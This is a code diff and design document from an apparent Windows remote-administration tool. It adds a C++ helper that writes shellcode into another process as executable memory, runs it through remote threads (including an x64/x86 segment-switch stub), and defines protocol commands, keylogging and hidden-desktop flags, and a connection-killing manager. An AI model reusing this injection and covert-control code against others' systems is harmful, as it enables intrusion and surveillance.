+			DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
+			if (!ret) {
+				if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
+				return TRUE;
+			}
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
+											LPSECURITY_ATTRIBUTES lpThreadAttributes,
+											SIZE_T dwStackSize,
+											DWORD64 lpStartAddress,
+											DWORD64 lpParameter,
+											DWORD dwCreationFlags,
+											LPDWORD lpThreadId)
+		{
+			static X64Call RtlCreateUserThread("RtlCreateUserThread");
+			if (!RtlCreateUserThread) return 0;
+
+			BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
+			ULONG stackSize = dwStackSize;
+			DWORD64 handle = 0;
+			DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
+			if (!status) return (HANDLE)handle;
+
+			SetLastError64(status);
+			return NULL;
+		}
+
+	#endif
+
+	class ProcessWriter
+	{
+	public:
+		template<typename T>
+		ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
+			: _autoRelease(TRUE)
+			, _hProcess(hProcess)
+			, _dw64Address(0)
+			, _dwSize(dwSize)
+		{
+			if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
+				return;
+			SIZE_T written = 0;
+			if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
+				VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
+				_dw64Address = 0;
+			}
+		}
+		~ProcessWriter() {
+			if (_dw64Address && _autoRelease)
+				VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
+		}
+		void SetDontRelese() {
+			_autoRelease = FALSE;
+		}
+		operator DWORD64() {
+			return (DWORD64)_dw64Address;
+		}
+	#ifdef _WIN64
+		template<typename T>
+		operator T*() {
+			return (T*)_dw64Address;
+		}
+	#endif
+
+	private:
+		BOOL _autoRelease;
+		HANDLE _hProcess;
+	#ifdef _WIN64
+		LPVOID _dw64Address;
+	#else
+		DWORD64 _dw64Address;
+	#endif
+		SIZE_T _dwSize;
+	};
+
+	namespace {
+
+		std::string makeShellCode(int cnt, bool is64Bit)
+		{
+			if(is64Bit) {
+				// see X64Delegator_disassemble for details
+				static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83, 
+														   0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4, 
+														   0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4, 
+														   0x20, 0x5b, 0xc3 };
+
+				std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
+				if(!cnt) return templ_x64;
+
+				templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
+				if(cnt >= 1)
+					templ_x64[16] = 0x3b;
+
+				if(cnt < 3) {
+					if(cnt >= 1) {
+						templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
+					}
+					if(cnt >= 2) {
+						templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
+					}
+				}
+				else {
+					templ_x64[20] = 0x49;
+					templ_x64[21] = 0x10;
+					templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
+					templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
+					templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
+					if(cnt >= 4) {
+						templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
+					}
+					if(cnt >= 5) {
+						templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
+						templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
+					}
+					if(cnt >= 6) {
+						templ_x64[21] = 0x38;
+						templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
+						templ_x64[50] = 0x28;
+						templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
+					}
+					// TODO
+				}
+				return templ_x64;
+			}
+			// see X86Delegator_disassemble for details
+			static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff, 
+													   0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
+													   0x8b, 0xe5, 0x5d, 0xc3 };
+			std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
+			// je distance
+			templ_x86[9] += cnt * 7;
+			templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
+			int pos = 13;
+			for(int i = 0; i < cnt; ++i) {
+				switch(i % 3) {
+					case 0:
+						templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
+						break;
+					case 1:
+						templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
+						break;
+					case 2:
+						templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
+						break;
+				}
+				templ_x86[pos + 2] = (cnt - i) << 2;
+				pos += 7;
+			}
+			switch(cnt % 3) {
+				case 0:
+					templ_x86[pos + 1] = 0x08;
+					break;
+				case 1:
+					templ_x86[pos + 1] = 0x02;
+					break;
+				case 2:
+					templ_x86[pos + 1] = 0x11;
+					break;
+			}
+			return templ_x86;
+		}
+
+		template<int argCnt, bool is64Bit>
+		const std::string& shellCode() {
+			static std::string kCode = makeShellCode(argCnt, is64Bit);
+			return kCode;
+		}
+
+	}
+
+	class YAPICall
+	{
+		template<typename T>
+		DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
+			return DWORD64(v);
+		}
+	    template<typename char_t>
+	    struct StringHelper : detail::GCBase
+	    {
+	        StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
+				name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
+	        }
+	        virtual void gc() { delete name; }
+	        virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
+		private:
+	        ProcessWriter* name;
+	    };
+		template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
+		template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
+		template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
+		template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
+
+	private:
+		HANDLE _hProcess;
+		ProcessWriter* _sc;
+		DWORD64 func;
+		BOOL _dw64Ret;
+		DWORD _dwTimeout;
+		BOOL _is64Bit;
+
+		template<int argCnt>
+		bool initShellCoder(ProcessWriter*& sc) {
+			if(sc) return false;
+			const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
+			sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
+			return true;
+		}
+
+		template<typename T>
+		DWORD64 call(const std::vector<T>& param) {
+			ProcessWriter p(_hProcess, &param[0], sizeof(T) * (param.size()));
+			if (!p) return -1;
+			HANDLE hThread = 0;
+			if (_is64Bit)
+				hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
+			else {
+#ifdef _WIN64
+				// see X64toX86_disassemble for details
+				static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48, 
+																  0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24, 
+																  0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 
+																  0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
+				std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
+				ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
+				sc->SetDontRelese();
+				hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
+#else
+				hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
+#endif
+			}
+			if (!hThread) return -1;
+			if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
+				_sc->SetDontRelese();
+				CloseHandle(hThread);
+				return -1;
+			}
+			if (!_is64Bit || !_dw64Ret) {
+				DWORD ret = 0;
+				GetExitCodeThread(hThread, &ret);
+				CloseHandle(hThread);
+				return ret;
+			}
+			DWORD64 ret = 0;
+			CloseHandle(hThread);
+			ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
+			return ret;
+		}
+
+	public:
+		YAPICall(HANDLE hProcess, const char* funcName)
+			: _hProcess(hProcess)
+			, _sc(0)
+			, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
+			, _dw64Ret(FALSE)
+			, _dwTimeout(INFINITE)
+			, _is64Bit(detail::is64BitOS)
+		{
+		}
+		YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
+			: _hProcess(hProcess)
+			, _sc(0)
+			, func(GetProcAddress64(hProcess, moudle, funcName))
+			, _dw64Ret(FALSE)
+			, _dwTimeout(INFINITE)
+			, _is64Bit(detail::is64BitOS)
+		{
+		}
+		YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
+			: _hProcess(hProcess)
+			, _sc(0)
+			, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
+			, _dw64Ret(FALSE)
+			, _dwTimeout(INFINITE)
+			, _is64Bit(detail::is64BitOS)
+		{
+			if(!func) {
+				func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
+				_is64Bit = FALSE;
+			}
+		}
+
+		~YAPICall() { if (_sc) delete _sc; }
+
+		operator DWORD64() { return func; }
+
+		YAPICall& Dw64() { _dw64Ret = TRUE; return *this;  }
+		YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
+
+	#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
+	#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
+
+	#define CALLERSX(n) \
+		DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
+			bool b = initShellCoder<n>(_sc);\
+			if(!b || !func || !_sc || !*_sc) return -1;\
+			detail::GCHelper helper;\
+			if(_is64Bit) {\
+				std::vector<DWORD64> param(n + 2, 0);\
+				param[0] = _dw64Ret;\
+				param[1] = func;\
+				REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
+				return call<DWORD64>(param);\
+			}\
+			std::vector<DWORD> param(n + 1, 0);\
+			param[0] = (DWORD)func;\
+			REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
+			return call<DWORD>(param);\
+		}
+	#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
+		CALLERSX( 0)
+		CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
+		CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
+	#undef CALLERSX
+	#undef CALLERS
+	#undef TO_DWORD_ARRAY_DECL
+	#undef TO_DWORD64_ARRAY_DECL
+	};
+
+	#define YAPI(h, m, f) YAPICall(h, m, #f)
+}

common/commands.h

@@ -320,6 +320,12 @@ enum {
     COMMAND_QUERY_ACTIVITY = 159,   // 服务端 → 客户端：索取历史活动
     TOKEN_REPORT_ACTIVITY = 160,    // 客户端 → 服务端：上报历史活动
     
+    COMMAND_CHAT = 161,             // 服务端 → 客户端：发起远程交谈（双向聊天）
+    COMMAND_MACHINE_MANAGE = 162,   // 服务端 → 客户端：打开主机管理对话框
+    COMMAND_FILE_MANAGER_PLUGIN = 163,   // 服务端 → 客户端：打开插件文件管理对话框（SimplePlugins 迁移）
+    COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端：打开隐私屏幕（虚拟桌面，SimplePlugins 迁移）
+    COMMAND_DRAWING_BOARD_PLUGIN = 165,  // 服务端 → 客户端：打开远程画板（SimplePlugins 迁移）
+
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表
     COMMAND_REG_FIND,				// 注册表 管理标识
@@ -357,8 +363,32 @@ enum {
     COMMAND_TEXT_REPLACE = 249,
     TOKEN_CLIP_TEXT = 250,
     TOKEN_SERVER_VERIFY = 251,      // 验证服务器，防中间人和假冒的授权服务器
+    CMD_FILE_SPEED = 252,           // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
+
+    COMMAND_CONNECTION = 253,       // 连接管理（服务端→客户端：查询/刷新连接列表）
+    COMMAND_KILL_CONNECTION = 254,  // 强制断开指定连接（服务端→客户端）
+    TOKEN_CONNECTION_LIST = 255,    // 连接列表响应（客户端→服务端）
 };
 
+// 单条连接记录（客户端 → 服务端）。地址字段存网络字节序（IPv4 展开为前 4 字节、IPv6 为 16 字节），
+// 端口字段存主机字节序（客户端 ntohs 转换）。断连时反向还原：地址拼回网络序 DWORD、端口 htons 转回
+// 网络序，填回 MIB_TCPROW 调 SetTcpEntry（iphlpapi 的地址/端口均为网络序）。
+#pragma pack(push, 1)
+struct ConnectionInfo {
+    uint8_t  proto;           // 1=TCP, 2=UDP                              [1]
+    uint8_t  af;              // 2=AF_INET(IPv4), 23=AF_INET6(IPv6)         [1]
+    uint32_t pid;             // 所属进程 PID                                 [4]
+    uint8_t  localAddr[16];   // 网络字节序；IPv4 存 [0..3]，IPv6 存 [0..15]，其余 0  [16]
+    uint16_t localPort;       // 主机字节序（小端）                            [2]
+    uint8_t  remoteAddr[16];  // 网络字节序，同上                              [16]
+    uint16_t remotePort;      // 主机字节序，同上                              [2]
+    uint32_t state;           // TCP: MIB_TCP_STATE_*；UDP: 0                 [4]
+    char     procName[64];    // 进程映像名 UTF-8，NUL 填充                    [64]
+};                            // 合计 110
+#pragma pack(pop)
+
+static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
+
 #pragma pack(push, 1)
 struct SignatureResp {
     char msg[64];
@@ -1183,7 +1213,9 @@ typedef struct MasterSettings {
     char        GetPluginUrl[80];           // Since 2026-04-08
     char        Authorized;                 // Since 2026-05-15
     char        IsTrail;                    // Since 2026-05-15
-    char        Reserved[106];              // Since 2025-11-27
+    uint16_t    TransferChunkKb;            // Since 2026-10-07 文件传输速度 chunkKb（随登录配置下发）
+    uint16_t    TransferDurationMs;         // Since 2026-10-07 文件传输速度 durationMs（0=不限速）
+    char        Reserved[102];              // Since 2025-11-27
 } MasterSettings;
 #pragma pack(pop)
 

common/config.h

@@ -16,6 +16,7 @@
 #define ENABLE_AUDIO_MNG                TRUE           // 语音管理
 #define ENABLE_VIDEO_MNG                TRUE           // 视频管理
 #define ENABLE_SERVICE_MNG              TRUE           // 服务管理
+#define ENABLE_CONNECTION_MNG           TRUE           // 连接管理
 #define ENABLE_REGISTRY                 TRUE           // 注册表管理
 #define ENABLE_KEYBOARD                 TRUE           // 键盘记录
 

common/iniFile.h

@@ -256,6 +256,18 @@ public:
     }
 };
 
+// 文件传输速度：读取 [transfer] 节 ChunkKb / DurationMs，缺省 64KB/50ms（≈1.25MB/s），
+// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑，保证
+// 各 InitFileUpload 调用点读到的档位一致（库按进程级引用计数只在首次设定速度，见
+// docs/FileTransferSpeed_Design.md）。
+inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
+{
+    chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
+    durMs   = cfg.GetInt("transfer", "DurationMs", 50);
+    if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
+    if (durMs < 0 || durMs > 2000)      durMs = 50;
+}
+
 // 配置读取类: 注册表配置（带键句柄缓存）
 // 注意：缓存操作非线程安全，但竞态条件只会导致少量重复打开，不会崩溃
 class iniFile : public config

common/location.h

@@ -4,6 +4,8 @@
 #include <iphlpapi.h>
 #include <ws2tcpip.h>
 #include <WinInet.h>
+#include <map>
+#include <mutex>
 #include "logger.h"
 #include "jsoncpp/json.h"
 
@@ -200,6 +202,18 @@ public:
     {
         if (IP.empty()) return "";
 
+        // 进程级缓存（函数局部 static）。用局部 static 而非类成员，是为了不改动
+        // IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
+        // PrivateDesktop_Lib.lib，改成员会与其产生 ABI 尺寸差异。
+        static std::map<std::string, std::string> geoCaches;
+        static std::mutex geoMutex;
+        {
+            std::lock_guard<std::mutex> lk(geoMutex);
+            auto it = geoCaches.find(IP);
+            if (it != geoCaches.end())
+                return it->second;
+        }
+
         std::string ip = IP;
         if (isLocalIP(ip)) {
             ip = getPublicIP();
@@ -249,7 +263,13 @@ public:
         InternetCloseHandle(hInternet);
 
         if (location.empty() && IsPrivateIP(ip)) {
-            return "Local Area Network";
+            location = "Local Area Network";
+        }
+
+        // 只缓存成功结果；失败不缓存，允许下次重试。
+        if (!location.empty()) {
+            std::lock_guard<std::mutex> lk(geoMutex);
+            geoCaches[IP] = location;
         }
         return location;
     }
@@ -308,8 +328,10 @@ private:
             }
         }
 
-        std::string city = Utf8ToAnsi(json[cityField].asString());
-        std::string country = Utf8ToAnsi(json[countryField].asString());
+        // 地理位置 API 返回 UTF-8；不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
+        // GetGeoLocation 现统一返回 UTF-8，消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
+        std::string city = json[cityField].asString();
+        std::string country = json[countryField].asString();
 
         if (!city.empty() && !country.empty()) return city + ", " + country;
         if (!city.empty()) return city;

docs/ConnectionManage_Design.md

@@ -0,0 +1,259 @@
+# TCP/UDP 连接管理设计
+
+> 版本：v1.1（已实现并评审） · 状态：**已施工，含字节序修正** · 日期：2026-10-04
+> 目标：在 YAMA 服务端新增「连接管理」，实时展示受管主机当前的 TCP/UDP 连接，
+> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
+>
+> 需求原文（三点，逐一对应下文）：
+> 1. YAMA 工具栏增加一个图标，**唯有 MCP 后面**，通过这个图标打开连接管理对话框；
+> 2. 客户端需要增加一个管理类来处理服务端请求；
+> 3. 服务端有一个对话框类展示连接信息，支持右键菜单对选中的连接强制断开。
+
+## 1. 目标与范围
+
+### MVP
+
+| 项 | 说明 |
+|---|---|
+| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮（第 17 个），点击向选中主机发 `COMMAND_CONNECTION` |
+| 客户端管理类 | 新增 `CConnectionsManager : public CManager`，枚举本机 TCP/UDP 连接并回传，处理「刷新 / 强制断开」两条服务端命令 |
+| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`，表格展示连接，右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
+
+### 非目标（Non-goals，本次不做）
+
+- 不做 **UDP / IPv6 TCP 的强制断开**（无公开 API，见 §6），仅 IPv4 TCP 可断开，其余行只读展示。
+- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
+- 不做 Linux/Mac/Android 客户端连接枚举（沿用 Windows 客户端先行的惯例）。
+- 不改 MCP 工具集（`list_network_connections` 属于 P8 路线图，本设计只做 MFC 图形界面）。
+
+## 2. 复用现状
+
+本功能与「服务管理」端到端同构，直接以其为实现模板（`ServicesManager` / `ServicesDlg`）。
+
+### 客户端模板（读参考实现，全部已核实）
+
+- 命令分发：`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`（约 1346 行）：
+  ```
+  { auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+    sub->EnableSubConnAuth();
+    m_hThread[m_ulThreadCount].p = sub; }
+  m_hThread[m_ulThreadCount++].h =
+      __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
+  ```
+  连接管理照抄，仅换 `LoopConnectionManager`。
+- 子连接线程模板：`client/Common.cpp:33` `LoopManager<Manager, n>`（`Manager m(ClientObject, n, user)` 构造即发首包，随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`）；`LoopServicesManager = LoopManager<CServicesManager, 0>`。
+- 管理类基类：`client/Manager.h` `CManager`（`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期）。
+- 管理类实例：`client/ServicesManager.cpp`——构造即 `SendServicesList()`（17 行）；`SendServicesList()` 里用
+  `HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`（36–37 行）回传；`OnReceive` 里 `case COMMAND_SERVICELIST`（刷新）→ 重发、`case COMMAND_SERVICECONFIG`（动作）→ 执行后再重发（199–231 行）。
+- 编译开关：`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0  #define CServicesManager CManager` 的空实现占位模式；开关定义在 `common/config.h`（`ENABLE_SERVICE_MNG TRUE`）。
+
+### 服务端模板（读参考实现，全部已核实）
+
+- 对话框基类：`server/2015Remote/IOCPServer.h:158` `DialogBase`（`OnInitDialog` 建列 + 解析缓冲，`OnReceiveComplete` 按 token 分发，`OnNMRClickList` 右键菜单，`OnClose`→`CancelIO`）。
+- 对话框实例：`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`（24 行）；`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`（67–73 行）；`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`（216–226 行）；`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`（231–235 行）。
+- 打开对话框模板：`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
+- 命令发送：`OnOnlineServerManager()`（`2015RemoteDlg.cpp:4758`）：`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
+- token 路由：`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
+- 消息注册/处理：`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`（903 行）→ `OnOpenServicesDialog`（7811 行）→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
+
+### 工具栏（读参考，全部已核实）
+
+- 资源：`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`，现有 16 个 `BUTTON`，末尾为 `BUTTON ID_CHANGE_LANG`（1822 行）、`BUTTON ID_MCP_SETTINGS`（1823 行）。
+- 真彩位图条：`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`（**768×48 = 16 个 48×48 图标**，24 位），
+  `LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`（`2015RemoteDlg.cpp:1390`）
+  按 `nNbBtn = bmWidth/48` 建图像列表（`TrueColorToolBar.cpp` `SetTrueColorToolBar`），因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
+- 按钮文字：`SetButtonText(0..15)`（`2015RemoteDlg.cpp:1405–1420`），`SetButtonText(15, _T("MCP"))` 为当前最后一个。
+- 全隐藏判定：`if (hiddenCount >= 16)`（1471 行）→ **无需改动**。该计数只统计「可隐藏功能按钮」
+  （终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于，共 14 个），
+  `ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内；新增的连接按钮同样不参与隐藏，
+  `hiddenCount` 语义不变。
+- 命令处理：`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`（993 行）→ 参照加 `ID_CONNECTION_MANAGE`。
+
+### 网络 API（客户端，新增依赖）
+
+- 枚举：`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`；
+  同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`；IPv6 用 `AF_INET6` 版本（`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`）。
+- 断开：`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
+- 链接：`iphlpapi.lib`（用 `#pragma comment(lib, "iphlpapi.lib")` 内联，与代码库既有 `#pragma comment(lib, ...)` 风格一致，避免改 vcxproj）。
+
+## 3. 协议与数据结构
+
+### 3.1 新命令（`common/commands.h`，追加在 `CMD_FILE_SPEED = 252` 之后，均 ≤ 255 满足单字节 token）
+
+```
+COMMAND_CONNECTION       = 253,  // 服务端 → 客户端：查询/刷新连接列表（打开连接管理）
+COMMAND_KILL_CONNECTION  = 254,  // 服务端 → 客户端：强制断开指定连接
+TOKEN_CONNECTION_LIST    = 255,  // 客户端 → 服务端：连接列表响应
+```
+
+### 3.2 单条连接记录（客户端 → 服务端，固定 110 字节，小端）
+
+```c
+#pragma pack(push, 1)
+struct ConnectionInfo {
+    uint8_t  proto;           // 1=TCP, 2=UDP                              [1]
+    uint8_t  af;              // 2=AF_INET(IPv4), 23=AF_INET6(IPv6)         [1]
+    uint32_t pid;             // 所属进程 PID                                 [4]
+    uint8_t  localAddr[16];   // 网络字节序；IPv4 存 [0..3]，IPv6 存 [0..15]，其余 0  [16]
+    uint16_t localPort;       // 主机字节序（小端，ntohs 转换后）                [2]
+    uint8_t  remoteAddr[16];  // 网络字节序，同上                                [16]
+    uint16_t remotePort;      // 主机字节序，同上                                [2]
+    uint32_t state;           // TCP: MIB_TCP_STATE_*；UDP: 0                 [4]
+    char     procName[64];    // 进程映像名 UTF-8，NUL 填充                    [64]
+};                            // 合计 110
+#pragma pack(pop)
+static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
+```
+
+> **字节序约定（评审后修正）**：字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
+> 是**网络序 DWORD**（值 `0xC0A80101` 即 `192.168.1.1`），客户端展开为 16 字节字段前 4 字节的**网络序字节**
+> （`[0xC0,0xA8,0x01,0x01]`），服务端 `inet_ntop` 可直接展示、排序键也按数值序；`dwLocalPort`/`dwRemotePort`
+> 低 16 位为**网络序**，客户端用 `ntohs` 转**主机序**再存入。断连时反向还原（地址拼回 DWORD、端口 `htons`）。
+> 地址统一 16 字节字段承载，IPv4/IPv6 用同一个结构，避免两套记录。
+
+### 3.3 列表响应（客户端 → 服务端）
+
+```
+[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
+```
+
+- `count` 为 `uint16_t` 小端，上限 65535（枚举超限则截断，实际主机连接数远低于此）。
+- 列表 >1460 字节会走 HTTP 分片；服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
+  已在 `a72e6eb` 修复，续包可正常到达（与进程/服务列表一致）。
+
+### 3.4 强制断开请求（服务端 → 客户端）
+
+```
+[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
+```
+
+- 客户端校验 `proto==1 && af==2` 才执行（仅 IPv4 TCP），否则忽略并在回包列表中保留该行。
+
+## 4. 客户端实现
+
+新增 `client/ConnectionsManager.{h,cpp}`，镜像 `CServicesManager`：
+
+- 类声明（`ConnectionsManager.h`）：
+  ```cpp
+  #if ENABLE_CONNECTION_MNG==0
+  #define CConnectionsManager CManager
+  #else
+  class CConnectionsManager : public CManager {
+  public:
+      CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+      virtual ~CConnectionsManager();
+      VOID SendConnectionList();                 // 枚举并回传
+      VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+      void KillConnection(const ConnectionInfo& info);
+  };
